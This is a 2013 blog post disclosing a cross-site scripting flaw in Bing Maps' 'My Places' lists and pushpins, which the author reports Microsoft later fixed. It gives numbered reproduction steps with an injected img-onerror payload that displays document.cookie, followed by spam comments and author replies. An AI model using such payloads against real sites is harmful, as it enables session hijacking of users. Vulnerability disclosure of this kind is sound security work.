XSS vulnerability on bing maps

Posted: September 18, 2013 in microsoft bing vulnerability
Tags: , , , , ,

Vulnerability Type(s): Reflective XSS and Persistent XSS.

App: http://www.bing.com/maps/

Tested on : Firefox 23.0.1

Attack demonstration :

1>Visit http://www.bing.com/maps/  (Make sure that you are logged in with your outlook account)
2>Click “My Places”
3>Click “New list”
4>In the Title field enter the script:  “><img src=a onerror=”alert(document.cookie);”>
5>In the Notes field enter the same script: “><img src=a onerror=”alert(document.cookie);”>
6>Click “Save
7>You will see a popup showing cookie info .
8>Click the “Add a Pushpin” icon below.
9> Click anywhere on the map.
10>Now select the option [“><img src=a onerror=”alert(document.cookie);”>] from the dropdown box.
11>Enter Title as:  “><img src=a onerror=”alert(document.cookie);”>
12>Enter Note as:  “><img src=a onerror=”alert(document.cookie);”>
13>Click “Save”.
14>Hover the mouse pointer over to the  yellow dot with a number on the map, you will notice the XSS popup.
15>Now, hover the pointer over the name: “><img src=a onerror=”alert(document.cookie);”>  in “My place editor”. Here too you will see the effect of XSS .

Demo (Snap) with “><img src=a onerror=”alert(1);”> payload:

ms_bin_xss - Copy

 

Update: Apparently it seems that MS has later fixed the vulnerability.

About these ads
Comments
  1. web site says:

    I’ve been exploring for a little for any high quality articles or blog posts in this kind of house .
    Exploring in Yahoo I eventually stumbled upon this
    website. Studying this info So i’m satisfied to exhibit that I’ve a very good uncanny feeling I
    discovered just what I needed. I most indisputably will make certain to do not forget this site and give
    it a glance on a constant basis.

  2. Laihdutus says:

    There’s definately a great deal to learn about this
    issue. I really like all of the points you have made.

  3. website says:

    Saved as a favorite, I like your site!

  4. Facebook Account Hacker says:

    I’m not sure where you are getting your information, but good topic.
    I needs to spend some time learning much more or understanding more.

    Thanks for fantastic information I was looking
    for this information for my mission.

  5. xtross says:

    Thank you everyone.
    I would be adding more vulns. on this blog, once the vendors fix the flaws on the other findings which I made.

  6. don jon says:

    I almost never drop comments, however i did a few searching and wound up here XSS vulnerability on bing maps | Techielogic.
    And I do have some questions for you if you do
    not mind. Is it only me or does it give the impression like some
    of these remarks come across as if they are coming from brain dead individuals? :-P And, if you are writing on additional sites, I’d like to follow everything fresh you
    have to post. Could you make a list of every one of your social sites like
    your linkedin profile, Facebook page or twitter feed?

    • xtross says:

      Hi Don,
      Yeah may be it is time to set spam filter back :D
      Sorry, currently I don’t write for any other blog (regarding any disclosure of vulnerabilities).
      If it’s a full disclosure, I do post it on sec-list’s full disclosure page.
      Thanks :)

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s